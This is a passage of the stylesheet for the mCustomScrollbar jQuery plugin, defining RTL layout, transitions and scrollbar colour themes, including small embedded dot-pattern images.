*/\n\n.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden+.mCSB_scrollTools~.mCSB_scrollTools.mCSB_scrollTools_horizontal,\n.mCS-dir-rtl>.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_scrollTools.mCSB_scrollTools_horizontal {\n    right: 0;\n}\n\n\n/* RTL direction/left-side scrollbar */\n\n.mCS-dir-rtl>.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_scrollTools.mCSB_scrollTools_horizontal {\n    left: 20px;\n}\n\n\n/* non-visible scrollbar/RTL direction/left-side scrollbar */\n\n.mCS-dir-rtl>.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden+.mCSB_scrollTools~.mCSB_scrollTools.mCSB_scrollTools_horizontal {\n    left: 0;\n}\n\n.mCS-dir-rtl>.mCSB_inside>.mCSB_container_wrapper {\n    /* RTL direction/left-side scrollbar */\n    margin-right: 0;\n    margin-left: 30px;\n}\n\n.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden>.mCSB_container {\n    padding-right: 0;\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    box-sizing: border-box;\n}\n\n.mCSB_container_wrapper.mCS_no_scrollbar_x.mCS_x_hidden>.mCSB_container {\n    padding-bottom: 0;\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    box-sizing: border-box;\n}\n\n.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden {\n    margin-right: 0;\n    /* non-visible scrollbar */\n    margin-left: 0;\n}\n\n\n/* non-visible horizontal scrollbar */\n\n.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_container_wrapper.mCS_no_scrollbar_x.mCS_x_hidden {\n    margin-bottom: 0;\n}\n\n\n/* \n------------------------------------------------------------------------------------------------------------------------\n5. TRANSITIONS  \n------------------------------------------------------------------------------------------------------------------------\n*/\n\n\n/*.mCSB_scrollTools, */\n\n.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCSB_scrollTools .mCSB_buttonUp,\n.mCSB_scrollTools .mCSB_buttonDown,\n.mCSB_scrollTools .mCSB_buttonLeft,\n.mCSB_scrollTools .mCSB_buttonRight {\n    -webkit-transition: opacity .2s ease-in-out, background-color .2s ease-in-out;\n    -moz-transition: opacity .2s ease-in-out, background-color .2s ease-in-out;\n    -o-transition: opacity .2s ease-in-out, background-color .2s ease-in-out;\n    transition: opacity .2s ease-in-out, background-color .2s ease-in-out;\n}\n\n.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger_bar,\n\n/* auto-expanded scrollbar */\n\n.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerRail,\n.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger_bar,\n.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerRail {\n    -webkit-transition: width .2s ease-out .2s, height .2s ease-out .2s, margin-left .2s ease-out .2s, margin-right .2s ease-out .2s, margin-top .2s ease-out .2s, margin-bottom .2s ease-out .2s, opacity .2s ease-in-out, background-color .2s ease-in-out;\n    -moz-transition: width .2s ease-out .2s, height .2s ease-out .2s, margin-left .2s ease-out .2s, margin-right .2s ease-out .2s, margin-top .2s ease-out .2s, margin-bottom .2s ease-out .2s, opacity .2s ease-in-out, background-color .2s ease-in-out;\n    -o-transition: width .2s ease-out .2s, height .2s ease-out .2s, margin-left .2s ease-out .2s, margin-right .2s ease-out .2s, margin-top .2s ease-out .2s, margin-bottom .2s ease-out .2s, opacity .2s ease-in-out, background-color .2s ease-in-out;\n    transition: width .2s ease-out .2s, height .2s ease-out .2s, margin-left .2s ease-out .2s, margin-right .2s ease-out .2s, margin-top .2s ease-out .2s, margin-bottom .2s ease-out .2s, opacity .2s ease-in-out, background-color .2s ease-in-out;\n}\n\n\n/* \n------------------------------------------------------------------------------------------------------------------------\n6. SCROLLBAR COLORS, OPACITY AND BACKGROUNDS  \n------------------------------------------------------------------------------------------------------------------------\n*/\n\n\n/* \n\t----------------------------------------\n\t6.1 THEMES \n\t----------------------------------------\n\t*/\n\n\n/* default theme (\"light\") */\n\n\n/*.mCSB_scrollTools{ opacity: 0.75; filter: \"alpha(opacity=75)\"; -ms-filter: \"alpha(opacity=75)\"; }*/\n\n.mCS-autoHide>.mCustomScrollBox>.mCSB_scrollTools,\n.mCS-autoHide>.mCustomScrollBox~.mCSB_scrollTools {\n    opacity: 0;\n    filter: \"alpha(opacity=0)\";\n    -ms-filter: \"alpha(opacity=0)\";\n}\n\n\n/*.mCustomScrollbar > .mCustomScrollBox > .mCSB_scrollTools.mCSB_scrollTools_onDrag,\n\t.mCustomScrollbar > .mCustomScrollBox ~ .mCSB_scrollTools.mCSB_scrollTools_onDrag,\n\t.mCustomScrollBox:hover > .mCSB_scrollTools,\n\t.mCustomScrollBox:hover ~ .mCSB_scrollTools,\n\t.mCS-autoHide:hover > .mCustomScrollBox > .mCSB_scrollTools,\n\t.mCS-autoHide:hover > .mCustomScrollBox ~ .mCSB_scrollTools{ opacity: 1; filter: \"alpha(opacity=100)\"; -ms-filter: \"alpha(opacity=100)\"; }*/\n\n.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.4);\n    filter: \"alpha(opacity=40)\";\n    -ms-filter: \"alpha(opacity=40)\";\n}\n\n.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.85);\n    filter: \"alpha(opacity=85)\";\n    -ms-filter: \"alpha(opacity=85)\";\n}\n\n.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.9);\n    filter: \"alpha(opacity=90)\";\n    -ms-filter: \"alpha(opacity=90)\";\n}\n\n.mCSB_scrollTools .mCSB_buttonUp,\n.mCSB_scrollTools .mCSB_buttonDown,\n.mCSB_scrollTools .mCSB_buttonLeft,\n.mCSB_scrollTools .mCSB_buttonRight {\n    background-image: url(mCSB_buttons.png);\n    /* css sprites */\n    background-repeat: no-repeat;\n    opacity: 0.4;\n    filter: \"alpha(opacity=40)\";\n    -ms-filter: \"alpha(opacity=40)\";\n}\n\n.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: 0 0;\n    /* \n\t\tsprites locations \n\t\tlight: 0 0, -16px 0, -32px 0, -48px 0, 0 -72px, -16px -72px, -32px -72px\n\t\tdark: -80px 0, -96px 0, -112px 0, -128px 0, -80px -72px, -96px -72px, -112px -72px\n\t\t*/\n}\n\n.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: 0 -20px;\n    /* \n\t\tsprites locations\n\t\tlight: 0 -20px, -16px -20px, -32px -20px, -48px -20px, 0 -92px, -16px -92px, -32px -92px\n\t\tdark: -80px -20px, -96px -20px, -112px -20px, -128px -20px, -80px -92px, -96px -92px, -112 -92px\n\t\t*/\n}\n\n.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: 0 -40px;\n    /* \n\t\tsprites locations \n\t\tlight: 0 -40px, -20px -40px, -40px -40px, -60px -40px, 0 -112px, -20px -112px, -40px -112px\n\t\tdark: -80px -40px, -100px -40px, -120px -40px, -140px -40px, -80px -112px, -100px -112px, -120px -112px\n\t\t*/\n}\n\n.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: 0 -56px;\n    /* \n\t\tsprites locations \n\t\tlight: 0 -56px, -20px -56px, -40px -56px, -60px -56px, 0 -128px, -20px -128px, -40px -128px\n\t\tdark: -80px -56px, -100px -56px, -120px -56px, -140px -56px, -80px -128px, -100px -128px, -120px -128px\n\t\t*/\n}\n\n.mCSB_scrollTools .mCSB_buttonUp:hover,\n.mCSB_scrollTools .mCSB_buttonDown:hover,\n.mCSB_scrollTools .mCSB_buttonLeft:hover,\n.mCSB_scrollTools .mCSB_buttonRight:hover {\n    opacity: 0.75;\n    filter: \"alpha(opacity=75)\";\n    -ms-filter: \"alpha(opacity=75)\";\n}\n\n.mCSB_scrollTools .mCSB_buttonUp:active,\n.mCSB_scrollTools .mCSB_buttonDown:active,\n.mCSB_scrollTools .mCSB_buttonLeft:active,\n.mCSB_scrollTools .mCSB_buttonRight:active {\n    opacity: 0.9;\n    filter: \"alpha(opacity=90)\";\n    -ms-filter: \"alpha(opacity=90)\";\n}\n\n\n/* theme: \"dark\" */\n\n.mCS-dark.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.15);\n}\n\n.mCS-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.75);\n}\n\n.mCS-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar {\n    background-color: rgba(0, 0, 0, 0.85);\n}\n\n.mCS-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: rgba(0, 0, 0, 0.9);\n}\n\n.mCS-dark.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -80px 0;\n}\n\n.mCS-dark.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -80px -20px;\n}\n\n.mCS-dark.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -80px -40px;\n}\n\n.mCS-dark.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -80px -56px;\n}\n\n\n/* ---------------------------------------- */\n\n\n/* theme: \"light-2\", \"dark-2\" */\n\n.mCS-light-2.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-dark-2.mCSB_scrollTools .mCSB_draggerRail {\n    width: 4px;\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.1);\n    -webkit-border-radius: 1px;\n    -moz-border-radius: 1px;\n    border-radius: 1px;\n}\n\n.mCS-light-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-dark-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    width: 4px;\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.75);\n    -webkit-border-radius: 1px;\n    -moz-border-radius: 1px;\n    border-radius: 1px;\n}\n\n.mCS-light-2.mCSB_scrollTools_horizontal .mCSB_draggerRail,\n.mCS-dark-2.mCSB_scrollTools_horizontal .mCSB_draggerRail,\n.mCS-light-2.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-dark-2.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar {\n    width: 100%;\n    height: 4px;\n    margin: 6px auto;\n}\n\n.mCS-light-2.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.85);\n}\n\n.mCS-light-2.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-light-2.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.9);\n}\n\n.mCS-light-2.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -32px 0;\n}\n\n.mCS-light-2.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -32px -20px;\n}\n\n.mCS-light-2.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -40px -40px;\n}\n\n.mCS-light-2.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -40px -56px;\n}\n\n\n/* theme: \"dark-2\" */\n\n.mCS-dark-2.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.1);\n    -webkit-border-radius: 1px;\n    -moz-border-radius: 1px;\n    border-radius: 1px;\n}\n\n.mCS-dark-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.75);\n    -webkit-border-radius: 1px;\n    -moz-border-radius: 1px;\n    border-radius: 1px;\n}\n\n.mCS-dark-2.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.85);\n}\n\n.mCS-dark-2.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-dark-2.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.9);\n}\n\n.mCS-dark-2.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -112px 0;\n}\n\n.mCS-dark-2.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -112px -20px;\n}\n\n.mCS-dark-2.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -120px -40px;\n}\n\n.mCS-dark-2.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -120px -56px;\n}\n\n\n/* ---------------------------------------- */\n\n\n/* theme: \"light-thick\", \"dark-thick\" */\n\n.mCS-light-thick.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-dark-thick.mCSB_scrollTools .mCSB_draggerRail {\n    width: 4px;\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.1);\n    -webkit-border-radius: 2px;\n    -moz-border-radius: 2px;\n    border-radius: 2px;\n}\n\n.mCS-light-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    width: 6px;\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.75);\n    -webkit-border-radius: 2px;\n    -moz-border-radius: 2px;\n    border-radius: 2px;\n}\n\n.mCS-light-thick.mCSB_scrollTools_horizontal .mCSB_draggerRail,\n.mCS-dark-thick.mCSB_scrollTools_horizontal .mCSB_draggerRail {\n    width: 100%;\n    height: 4px;\n    margin: 6px 0;\n}\n\n.mCS-light-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-dark-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar {\n    width: 100%;\n    height: 6px;\n    margin: 5px auto;\n}\n\n.mCS-light-thick.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.85);\n}\n\n.mCS-light-thick.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-light-thick.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.9);\n}\n\n.mCS-light-thick.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -16px 0;\n}\n\n.mCS-light-thick.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -16px -20px;\n}\n\n.mCS-light-thick.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -20px -40px;\n}\n\n.mCS-light-thick.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -20px -56px;\n}\n\n\n/* theme: \"dark-thick\" */\n\n.mCS-dark-thick.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.1);\n    -webkit-border-radius: 2px;\n    -moz-border-radius: 2px;\n    border-radius: 2px;\n}\n\n.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.75);\n    -webkit-border-radius: 2px;\n    -moz-border-radius: 2px;\n    border-radius: 2px;\n}\n\n.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.85);\n}\n\n.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.9);\n}\n\n.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -96px 0;\n}\n\n.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -96px -20px;\n}\n\n.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -100px -40px;\n}\n\n.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -100px -56px;\n}\n\n\n/* ---------------------------------------- */\n\n\n/* theme: \"light-thin\", \"dark-thin\" */\n\n.mCS-light-thin.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.1);\n}\n\n.mCS-light-thin.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    width: 2px;\n}\n\n.mCS-light-thin.mCSB_scrollTools_horizontal .mCSB_draggerRail,\n.mCS-dark-thin.mCSB_scrollTools_horizontal .mCSB_draggerRail {\n    width: 100%;\n}\n\n.mCS-light-thin.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-dark-thin.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar {\n    width: 100%;\n    height: 2px;\n    margin: 7px auto;\n}\n\n\n/* theme \"dark-thin\" */\n\n.mCS-dark-thin.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.15);\n}\n\n.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.75);\n}\n\n.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.85);\n}\n\n.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.9);\n}\n\n.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -80px 0;\n}\n\n.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -80px -20px;\n}\n\n.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -80px -40px;\n}\n\n.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -80px -56px;\n}\n\n\n/* ---------------------------------------- */\n\n\n/* theme \"rounded\", \"rounded-dark\", \"rounded-dots\", \"rounded-dots-dark\" */\n\n.mCS-rounded.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.15);\n}\n\n.mCS-rounded.mCSB_scrollTools .mCSB_dragger,\n.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger,\n.mCS-rounded-dots.mCSB_scrollTools .mCSB_dragger,\n.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger {\n    height: 14px;\n}\n\n.mCS-rounded.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-rounded-dots.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    width: 14px;\n    margin: 0 1px;\n}\n\n.mCS-rounded.mCSB_scrollTools_horizontal .mCSB_dragger,\n.mCS-rounded-dark.mCSB_scrollTools_horizontal .mCSB_dragger,\n.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_dragger,\n.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_dragger {\n    width: 14px;\n}\n\n.mCS-rounded.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-rounded-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar {\n    height: 14px;\n    margin: 1px 0;\n}\n\n.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,\n.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar,\n.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,\n.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar {\n    width: 16px;\n    /* auto-expanded scrollbar */\n    height: 16px;\n    margin: -1px 0;\n}\n\n.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,\n.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,\n.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,\n.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail {\n    width: 4px;\n    /* auto-expanded scrollbar */\n}\n\n.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,\n.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar,\n.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,\n.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar {\n    height: 16px;\n    /* auto-expanded scrollbar */\n    width: 16px;\n    margin: 0 -1px;\n}\n\n.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,\n.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,\n.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,\n.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail {\n    height: 4px;\n    /* auto-expanded scrollbar */\n    margin: 6px 0;\n}\n\n.mCS-rounded.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: 0 -72px;\n}\n\n.mCS-rounded.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: 0 -92px;\n}\n\n.mCS-rounded.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: 0 -112px;\n}\n\n.mCS-rounded.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: 0 -128px;\n}\n\n\n/* theme \"rounded-dark\", \"rounded-dots-dark\" */\n\n.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.75);\n}\n\n.mCS-rounded-dark.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.15);\n}\n\n.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,\n.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.85);\n}\n\n.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,\n.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.9);\n}\n\n.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -80px -72px;\n}\n\n.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -80px -92px;\n}\n\n.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -80px -112px;\n}\n\n.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -80px -128px;\n}\n\n\n/* theme \"rounded-dots\", \"rounded-dots-dark\" */\n\n.mCS-rounded-dots.mCSB_scrollTools_vertical .mCSB_draggerRail,\n.mCS-rounded-dots-dark.mCSB_scrollTools_vertical .mCSB_draggerRail {\n    width: 4px;\n}\n\n.mCS-rounded-dots.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_draggerRail,\n.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail {\n    background-color: transparent;\n    background-position: center;\n}\n\n.mCS-rounded-dots.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_draggerRail {\n    background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAANElEQVQYV2NkIAAYiVbw//9/Y6DiM1ANJoyMjGdBbLgJQAX/kU0DKgDLkaQAvxW4HEvQFwCRcxIJK1XznAAAAABJRU5ErkJggg==\");\n    background-repeat: repeat-y;\n    opacity: 0.3;\n    filter: \"alpha(opacity=30)\";\n    -ms-filter: \"alpha(opacity=30)\";\n}\n\n.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_draggerRail,\n.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail {\n    height: 4px;\n    margin: 6px 0;\n    background-repeat: repeat-x;\n}\n\n.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -16px -72px;\n}\n\n.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -16px -92px;\n}\n\n.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -20px -112px;\n}\n\n.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -20px -128px;\n}\n\n\n/* theme \"rounded-dots-dark\" */\n\n.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_draggerRail {\n    background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYV2NkIAAYSVFgDFR8BqrBBEifBbGRTfiPZhpYjiQFBK3A6l6CvgAAE9kGCd1mvgEAAAAASUVORK5CYII=\");\n}\n\n.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -96px -72px;\n}\n\n.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -96px -92px;\n}\n\n.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -100px -112px;\n}\n\n.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -100px -128px;\n}\n\n\n/* ---------------------------------------- */\n\n\n/* theme \"3d\", \"3d-dark\", \"3d-thick\", \"3d-thick-dark\" */\n\n.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    background-repeat: repeat-y;\n    background-image: -moz-linear-gradient(left, rgba(255, 255, 255, 0.5) 0%, rgba(255, 255, 255, 0) 100%);\n    background-image: -webkit-gradient(linear, left top, right top, color-stop(0%, rgba(255, 255, 255, 0.5)), color-stop(100%, rgba(255, 255, 255, 0)));\n    background-image: -webkit-linear-gradient(left, rgba(255, 255, 255, 0.5) 0%, rgba(255, 255, 255, 0) 100%);\n    background-image: -o-linear-gradient(left, rgba(255, 255, 255, 0.5) 0%, rgba(255, 255, 255, 0) 100%);\n    